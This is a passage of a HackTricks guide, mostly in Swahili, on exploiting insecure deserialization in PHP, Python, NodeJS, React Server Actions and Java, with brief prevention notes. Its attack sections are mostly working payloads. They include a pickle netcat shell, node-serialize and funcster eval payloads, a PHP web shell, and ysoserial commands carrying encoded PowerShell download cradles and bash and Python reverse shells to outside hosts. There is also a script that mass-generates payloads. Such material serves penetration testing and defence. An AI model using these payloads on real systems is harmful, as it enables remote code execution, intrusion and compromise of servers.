Deserialization

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Taarifa za Msingi

Serialization hueleweka kama njia ya kubadilisha object kuwa katika muundo unaoweza kuhifadhiwa, kwa madhumuni ya kuhifadhi object au kuutuma kama sehemu ya mchakato wa mawasiliano. Mbinu hii kawaida hutumika ili kuhakikisha kwamba object inaweza kurejeshwa tena baadaye, huku ikidumisha muundo wake na hali yake.

Deserialization, kwa upande mwingine, ni mchakato unaopingana na serialization. Inahusisha kuchukua data iliyopangwa katika muundo maalumu na kuiunda tena kuwa object.

Deserialization inaweza kuwa hatari kwa sababu inaweza kuwawezesha washambuliaji kurekebisha data iliyoserialized ili kuendesha msimbo hatarishi au kusababisha tabia zisizotarajiwa katika programu wakati wa mchakato wa ujenzi upya wa object.

PHP

Katika PHP, magic methods maalum hutumika wakati wa mchakato wa serialization na deserialization:

  • __sleep: Inaitwa wakati object inaposerializwa. Mbinu hii inapaswa kurudisha array ya majina ya properties zote za object zinazotakiwa kuserializwa. Kwa kawaida hutumika kucommit data zilizokuwa kwenye kusubiri au kutekeleza kazi za usafi zinazofanana.
  • __wakeup: Inaitwa wakati object inaporejeshwa. Inatumika kurejesha uhusiano wowote wa database ulioweza kupotea wakati wa serialization na kutekeleza kazi nyingine za kuanzisha upya.
  • __unserialize: Mbinu hii inaitwa badala ya __wakeup (ikiwa ipo) wakati object inaporejeshwa. Inatoa udhibiti zaidi juu ya mchakato wa deserialization ukilinganisha na __wakeup.
  • __destruct: Mbinu hii inaitwa wakati object inakaribia kuharibiwa au wakati script inapoisha. Kwa kawaida hutumika kwa kazi za usafi, kama kufunga file handles au uhusiano wa database.
  • __toString: Mbinu hii inaruhusu object kutumiwa kama string. Inaweza kutumika kwa kusoma file au kazi nyingine kulingana na function calls ndani yake, ikitoa uwakilishi wa maandishi wa object.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Ikiwa utaangalia matokeo utaona kuwa functions __wakeup na __destruct zinaitwa wakati object inadeserializa. Kumbuka kwamba katika mafunzo kadhaa utakutana na kwamba function __toString inaitwa wakati wa kujaribu kuchapisha attribute fulani, lakini kwa sasa inaonekana hii haifanyi kazi tena.

Warning

Mbinu __unserialize(array $data) inaitwa badala ya __wakeup() ikiwa imetekelezwa ndani ya class. Inakuwezesha ku-unserialize object kwa kutoa data iliyoserialized kama array. Unaweza kutumia mbinu hii kuserializa upya properties na kufanya kazi zozote muhimu wakati wa deserialization.

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

Unaweza kusoma mfano wa PHP uliofafanuliwa hapa: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, hapa https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf au hapa https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Unaweza kutumia PHP autoload functionality kupakia arbitrary php files na zaidi:

PHP - Deserialization + Autoload Classes

Serializing Referenced Values

Ikiwa kwa sababu fulani ungependa kuserializa thamani kama reference to another value serialized unaweza:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

Kuzuia PHP Object Injection kwa allowed_classes

[!INFO] Usaidizi wa hoja ya pili ya unserialize() (the $options array) uliongezwa katika PHP 7.0. Kwa matoleo ya zamani kazi hiyo inakubali tu serialized string, na kufanya isiwezekane kupunguza ni classes gani zinaweza kutengenezwa.

unserialize() ita kutengeneza kila class itakayopatikana ndani ya serialized stream isipokuwa kama itaambiwa vinginevyo. Tangu PHP 7 tabia inaweza kudhibitiwa kwa chaguo la allowed_classes:

// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);

// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

Ikiwa allowed_classes imeachwa au msimbo unakimbia kwenye PHP < 7.0, mwito unakuwa hatari kwani mshambuliaji anaweza kutengeneza payload inayotumia magic methods kama __wakeup() au __destruct() ili kupata Remote Code Execution (RCE).

Mfano halisi: Everest Forms (WordPress) CVE-2025-52709

Plugin ya WordPress Everest Forms ≤ 3.2.2 ilijaribu kujilinda kwa wrapper ya msaada lakini ilisahau kuhusu matoleo ya zamani ya PHP:

function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

Kwenye seva ambazo bado zilikuwa zinaendesha PHP ≤ 7.0, tawi hili la pili lilipelekea PHP Object Injection ya kawaida wakati msimamizi alifungua uwasilishaji wa fomu mbaya. Mfano mdogo wa exploit payload ungeweza kuonekana kama:

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

Mara tu msimamizi (admin) alipoangalia kipengee, object ilianzishwa na SomeClass::__destruct() ikatekelezwa, resulting in arbitrary code execution.

Mambo ya Kukumbuka

  1. Kila mara pitisha ['allowed_classes' => false] (au orodha nyeupe madhubuti) unapoita unserialize().
  2. Kagua defensive wrappers – mara nyingi husahau kuhusu matawi ya zamani ya PHP.
  3. Kuuza kiwango hadi PHP ≥ 7.x pekee haitoshi: chaguo bado kinahitaji kutolewa wazi.

PHPGGC (ysoserial for PHP)

PHPGGC inaweza kusaidia kutengeneza payloads za kuabusa PHP deserializations.
Kumbuka kwamba katika visa vingi hutaweza kupata njia ya kuabusa deserialization katika source code ya application lakini unaweza kuweza kuabusa code ya external PHP extensions.
Hivyo, ikiwa unaweza, angalia phpinfo() ya server na tafuta mtandaoni (na hata katika gadgets za PHPGGC) baadhi ya gadget zinazowezekana unazoweza kuabusa.

phar:// metadata deserialization

Ikiwa umeona LFI inayosoma tu faili na haitekelezi php code ndani yake, kwa mfano kwa kutumia functions kama file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). Unaweza kujaribu kuabusa deserialization inayotokea wakati wa kusoma faili kwa kutumia protocol ya phar.
Kwa maelezo zaidi soma chapisho lifuatalo:

phar:// deserialization

Python

Pickle

Wakati object inapofanyiwa unpickle, function ___reduce___ itatekelezwa.
Ikiibiwa, server inaweza kurudisha error.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Kabla ya kuangalia mbinu ya bypass, jaribu kutumia print(base64.b64encode(pickle.dumps(P(),2))) ili kuzalisha object inayolingana na python2 ikiwa unafanya kazi na python3.

Kwa taarifa zaidi kuhusu kutoroka kutoka pickle jails angalia:

Bypass Python sandboxes

Yaml & jsonpickle

Ukurasa ufuatao unaonyesha mbinu ya kuudhiisha deserialization isiyo salama katika maktaba za python za yamls na unamaliza na zana inayoweza kutumika kuzalisha payload za RCE kwa Pickle, PyYAML, jsonpickle and ruamel.yaml:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python’s Prototype Pollution)

NodeJS

JS Magic Functions

JS doesn’t have “magic” functions kama PHP au Python ambazo zitatekelezwa tu kwa kuunda object. Lakini ina baadhi ya functions zinazotumika mara kwa mara hata bila kuzifungua moja kwa moja kama toString, valueOf, toJSON.
Ikiwa ukitumia deserialization vibaya unaweza kuathiri functions hizi ili kutekeleza code nyingine (kwa uwezekano ukitumia prototype pollutions) unaweza kutekeleza code yoyote wanapotumika.

Another “magic” way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called “then” of type function, it will be executed just because it’s returned by another promise. Fuata this link kwa maelezo zaidi.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ and prototype pollution

Ikiwa unataka kujifunza kuhusu mbinu hii angalia mafunzo yafuatayo:

NodeJS - proto & prototype Pollution

node-serialize

Maktaba hii inaruhusu serialisation ya functions. Mfano:

var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

Mfano wa serialised object utakuwa kama:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Unaweza kuona kwenye mfano kwamba wakati function inapokuwa serialized, flag _$$ND_FUNC$$_ inaongezwa kwenye serialized object.

Ndani ya faili node-serialize/lib/serialize.js utaona flag ile ile na jinsi code inavyotumia.

Kama unaweza kuona katika kipande cha mwisho cha code, kama flag inapatikana eval inatumika ku-deserialize function, kwa hiyo kwa kifupi ingizo la mtumiaji linatumika ndani ya eval.

Hata hivyo, just serialising function haitatekelezwa kwani itahitaji sehemu ya code iitwe calling y.rce katika mfano wetu na hiyo ni haiwezekani sana.
Hata hivyo, unaweza tu modify the serialised object adding some parenthesis ili auto execute the serialized function wakati object itapokuwa deserialized.
Katika kipande kinachofuata cha code zingatia parenthesis ya mwisho na jinsi function ya unserialize itakavyofanya automatically execute code:

var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

Kama ilivyotajwa hapo awali, maktaba hii itachukua code baada ya _$$ND_FUNC$$_ na ita execute it kwa kutumia eval. Kwa hivyo, ili auto-execute code unaweza delete the function creation sehemu na parenthesis ya mwisho na just execute a JS oneliner kama katika mfano ufuatao:

var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

You can find here maelezo zaidi kuhusu jinsi ya kuchukua faida ya udhaifu huu.

funcster

Sehemu inayostahili kutajwa ya funcster ni ukosefu wa uwezo wa kufikia standard built-in objects; ziko nje ya wigo unaopatikana. Kizuizi hiki kinazuia utekelezaji wa code zinazojaribu kuwaitisha method kwenye built-in objects, na kusababisha exceptions kama "ReferenceError: console is not defined" wakati amri kama console.log() au require(something) zinapotumika.

Kwa licha ya kizuizi hiki, urejeshaji wa ufikiaji kamili wa global context, ikiwa ni pamoja na standard built-in objects, unaweza kufanyika kwa mbinu maalum. Kwa kutumia global context moja kwa moja, mtu anaweza kuzunguka kizuizi hiki. Kwa mfano, ufikiaji unaweza kurejeshwa kwa kutumia kipande cha msimbo kinachofuata:

funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

For more information read this source.

serialize-javascript

Kifurushi cha serialize-javascript kimeundwa mahsusi kwa madhumuni ya serialization pekee, hakina uwezo wowote wa deserialization uliojengwa ndani. Watumiaji wanawajibika kutekeleza njia zao wenyewe za deserialization. Mfano rasmi unapendekeza matumizi ya moja kwa moja ya eval kwa deserialization ya data zilizofanywa serialization:

function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

Kama function hii inatumiwa deserialize objects, unaweza easily exploit it:

var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Kwa maelezo zaidi soma chanzo hiki.

Maktaba ya Cryo

Katika kurasa zifuatazo unaweza kupata taarifa kuhusu jinsi ya kutumia vibaya maktaba hii kutekeleza amri za hiari:

React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)

React Server Components (RSC) hutegemea react-server-dom-webpack (RSDW) kuchambua server action submissions zinazotumwa kama multipart/form-data. Kila submission ya action ina:

  • $ACTION_REF_<n> parts that reference the action being invoked.
  • $ACTION_<n>:<m> parts whose body is JSON such as {"id":"module-path#export","bound":[arg0,arg1,...]}.

Katika toleo 19.2.0 helper decodeAction(formData, serverManifest) inaamini bila kuchunguza zote id string (zinazoamua export ya module iitwayo) na bound array (hoja/arguments). Ikiwa mshambuliaji anaweza kufikia endpoint inayoforward requests kwa decodeAction, anaweza kuitisha server action yoyote iliyohamishwa (exported) na vigezo vinavyodhibitiwa na mshambuliaji hata bila front-end ya React (CVE-2025-55182). Hatua kamili ni:

  1. Jifunze kitambulisho cha action. Bundle output, error traces or leaked manifests kwa kawaida huonyesha strings kama app/server-actions#generateReport.
  2. Tengeneza tena multipart payload. Craft a $ACTION_REF_0 part and a $ACTION_0:0 JSON body carrying the identifier and arbitrary arguments.
  3. Mruhusu decodeAction kuisambaza. Helper inatambua module kutoka serverManifest, inaimport export, na inarudisha callable ambayo server hutekeleza mara moja.

Mfano wa payload unaofikia /formaction:

POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--

Au kwa curl:

curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'

Array ya bound hujaza moja kwa moja vigezo vya server-action. Katika lab yenye udhaifu gadget inaonekana kama:

const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);

async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}

Supplying format = "pdf & whoami" makes /bin/sh -c run the legitimate report generator and then whoami, with both outputs delivered inside the JSON action response. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the bound data.

Mshambuliaji hawahitaji mteja halisi wa React—kifaa chochote cha HTTP kinachotoa muundo wa multipart wa $ACTION_* kinaweza kuitisha server actions moja kwa moja na kuunganisha JSON output inayotokana kuwa RCE primitive.

Java - HTTP

Katika Java, deserialization callbacks are executed during the process of deserialization. Utekelezaji huu unaweza kutumiwa na washambuliaji wanaotengeneza payloads zenye madhara ambazo zinaamsha callbacks hizi, na kusababisha uwezekano wa utekelezaji wa vitendo vinavyoharibu.

Fingerprints

White Box

Ili kubaini uwezekano wa serialization vulnerabilities kwenye codebase, tafuta:

  • Classes that implement the Serializable interface.
  • Usage of java.io.ObjectInputStream, readObject, readUnshare functions.

Lipa umakini zaidi kwa:

  • XMLDecoder utilized with parameters defined by external users.
  • XStream’s fromXML method, especially if the XStream version is less than or equal to 1.46, as it is susceptible to serialization issues.
  • ObjectInputStream coupled with the readObject method.
  • Implementation of methods such as readObject, readObjectNodData, readResolve, or readExternal.
  • ObjectInputStream.readUnshared.
  • General use of Serializable.

Black Box

Kwa majaribio ya black box, tafuta specific signatures or “Magic Bytes” zinazoashiria java serialized objects (originating from ObjectInputStream):

  • Hexadecimal pattern: AC ED 00 05.
  • Base64 pattern: rO0.
  • HTTP response headers with Content-type set to application/x-java-serialized-object.
  • Hexadecimal pattern indicating prior compression: 1F 8B 08 00.
  • Base64 pattern indicating prior compression: H4sIA.
  • Web files with the .faces extension and the faces.ViewState parameter. Discovering these patterns in a web application should prompt an examination as detailed in the post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Angalia ikiwa dhaifu

Ikiwa unataka learn about how does a Java Deserialized exploit work unapaswa kuangalia Basic Java Deserialization, Java DNS Deserialization, and CommonsCollection1 Payload.

SignedObject-gated deserialization na upatikanaji kabla ya uthibitisho

Msururu wa kisasa wa msimbo wakati mwingine unaweka deserialization ndani ya java.security.SignedObject na kuthibitisha signature kabla ya kuita getObject() (ambayo inafanya deserialization ya inner object). Hii inazuia arbitrary top-level gadget classes lakini bado inaweza kutumika ikiwa mshambuliaji anaweza kupata signature halali (mfano, private-key compromise au signing oracle). Zaidi ya hayo, mtiririko wa kushughulikia makosa unaweza kutengeneza session-bound tokens kwa watumiaji wasiothibitishwa, kuonyesha sinks zilizolindwa kabla ya uthibitisho.

For a concrete case study with requests, IoCs, and hardening guidance, see:

Java Signedobject Gated Deserialization

Mtihani wa White Box

Unaweza kukagua ikiwa kuna programu yoyote iliyowekwa yenye udhaifu zinazojulikana.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Unaweza kujaribu kagua maktaba zote zinazojulikana kuwa hatarishi na ambazo Ysoserial can provide an exploit for. Au unaweza kukagua maktaba zilizotajwa kwenye Java-Deserialization-Cheat-Sheet.
Unaweza pia kutumia gadgetinspector kutafuta gadget chains zinazoweza kutumika kwa exploit.
Unapokimbiza gadgetinspector (baada ya kuiweka) usijali warnings/errors nyingi inayopitia na muache ikamilike. Itaandika matokeo yote chini ya gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Tafadhali kumbuka kwamba gadgetinspector won’t create an exploit and it may indicate false positives.

Black Box Test

Kwa kutumia extension ya Burp gadgetprobe unaweza kubaini maktaba zipi zipo (na hata versions). Kwa taarifa hizi inaweza kuwa rahisi kuchagua payload ili kuexploiti udhaifu.
Soma hili kujifunza zaidi kuhusu GadgetProbe.
GadgetProbe inalenga kwenye ObjectInputStream deserializations.

Kwa kutumia extension ya Burp Java Deserialization Scanner unaweza kubaini maktaba zenye udhaifu zinazoweza kuexploitiwa na ysoserial na kuzinufaisha.
Soma hili kujifunza zaidi kuhusu Java Deserialization Scanner.
Java Deserialization Scanner inalenga kwenye ObjectInputStream deserializations.

Unaweza pia kutumia Freddy kugundua udhaifu wa deserializations ndani ya Burp. Plugin hii itagundua sio tu udhaifu unaohusiana na ObjectInputStream bali pia vulns kutoka kwa maktaba za deserialization za Json na Yml. Katika mode ya active, itajaribu kuvitathmini kwa kutumia sleep au DNS payloads.
Unaweza kupata taarifa zaidi kuhusu Freddy hapa.

Serialization Test

Sio yote yanahusu kukagua kama seva inatumia maktaba iliyo hatarishi. Wakati mwingine unaweza kuwa na uwezo wa kubadilisha data ndani ya serialized object na kupita baadhi ya checks (labda kukupa admin privileges ndani ya webapp).
Ukikuta java serialized object ikitumwa kwa web application, unaweza kutumia SerializationDumper kuprint kwa muundo unaoeleweka zaidi na wa kibinadamu serialization object ambayo inatumwa. Kujua data unayomtumia kutakuwa rahisi kuibadilisha na kupita baadhi ya checks.

Exploit

ysoserial

Chombo kikuu cha kuexploiti Java deserializations ni ysoserial (download here). Pia unaweza kuzingatia kutumia ysoseral-modified ambacho kitakuwezesha kutumia amri ngumu (kwa pipes kwa mfano).
Kumbuka kwamba chombo hiki kinazingatia kuexploiti ObjectInputStream.
Ningependekeza kuanza kwa kutumia payload ya “URLDNS” kabla ya payload ya RCE kuhakiki kama injection inawezekana. Hata hivyo, kumbuka kwamba labda payload ya “URLDNS” haitafanya kazi lakini payload nyingine ya RCE inaweza kufanya kazi.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Unapotengeneza payload kwa java.lang.Runtime.exec() huwezi kutumia alama maalum kama “>” au “|” kupeleka matokeo ya utekelezaji, “$()” kutekeleza amri au hata kupitisha vigezo kwa amri zilizotenganishwa kwa nafasi (unaweza kufanya echo -n "hello world" lakini huwezi kufanya python2 -c 'print "Hello world"'). Ili ku-encode payload kwa usahihi unaweza use this webpage.

Jisikie huru kutumia script ifuatayo kuunda all the possible code execution payloads kwa Windows na Linux kisha kuzijaribu kwenye ukurasa wa wavuti dhaifu:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Unaweza kutumia https://github.com/pwntester/SerialKillerBypassGadgetCollection pamoja na ysoserial kuunda exploits zaidi. Taarifa zaidi kuhusu zana hii ziko kwenye slides of the talk ambapo zana iliwasilishwa: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec inaweza kutumika ku-generate payloads to exploit different Json and Yml serialization libraries in Java.
Ili ku-compile project nilihitaji kuongeza hizi dependencies kwenye pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Sakinisha maven, na kompili mradi:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Soma zaidi kuhusu maktaba hii ya Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Maabara

Kwanini

Java inatumia serialization kwa madhumuni mbalimbali kama:

  • HTTP requests: Serialization inatumika sana katika usimamizi wa vigezo, ViewState, cookies, n.k.
  • RMI (Remote Method Invocation): Itifaki ya Java RMI, ambayo inategemea kabisa serialization, ni nguzo muhimu kwa mawasiliano ya mbali katika programu za Java.
  • RMI over HTTP: Njia hii hutumika mara kwa mara na maombi ya web ya client nene yanayotokana na Java, ikitumia serialization kwa mawasiliano yote ya objects.
  • JMX (Java Management Extensions): JMX inatumia serialization kusafirisha objects kwenye mtandao.
  • Custom Protocols: Katika Java, desturi ya kawaida ni usafirishaji wa raw Java objects, jambo litakaloonyeshwa katika mifano ya exploits ijayo.

Uzuiaji

Transient objects

Darasa linalotekeleza Serializable linaweza kuweka kama transient chochote ndani ya darasa ambalo halipaswi kuwa serializable. Kwa mfano:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Epuka Serialization ya darasa linalohitaji kutekeleza Serializable

Katika mazingira ambapo baadhi ya objects lazima zitekeleze Serializable kutokana na urithi wa darasa, kuna hatari ya deserialization isiyotakiwa. Ili kuzuia hili, hakikisha objects hizi zisizoweza ku-deserialize kwa kufafanua method ya final readObject() ambayo kila mara inarusha exception, kama inavyoonyeshwa hapa chini:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Kuboresha Usalama wa Deserialization katika Java

Kurekebisha java.io.ObjectInputStream ni njia ya vitendo ya kulinda michakato ya deserialization. Njia hii inafaa wakati:

  • Msimbo wa deserialization uko chini ya udhibiti wako.
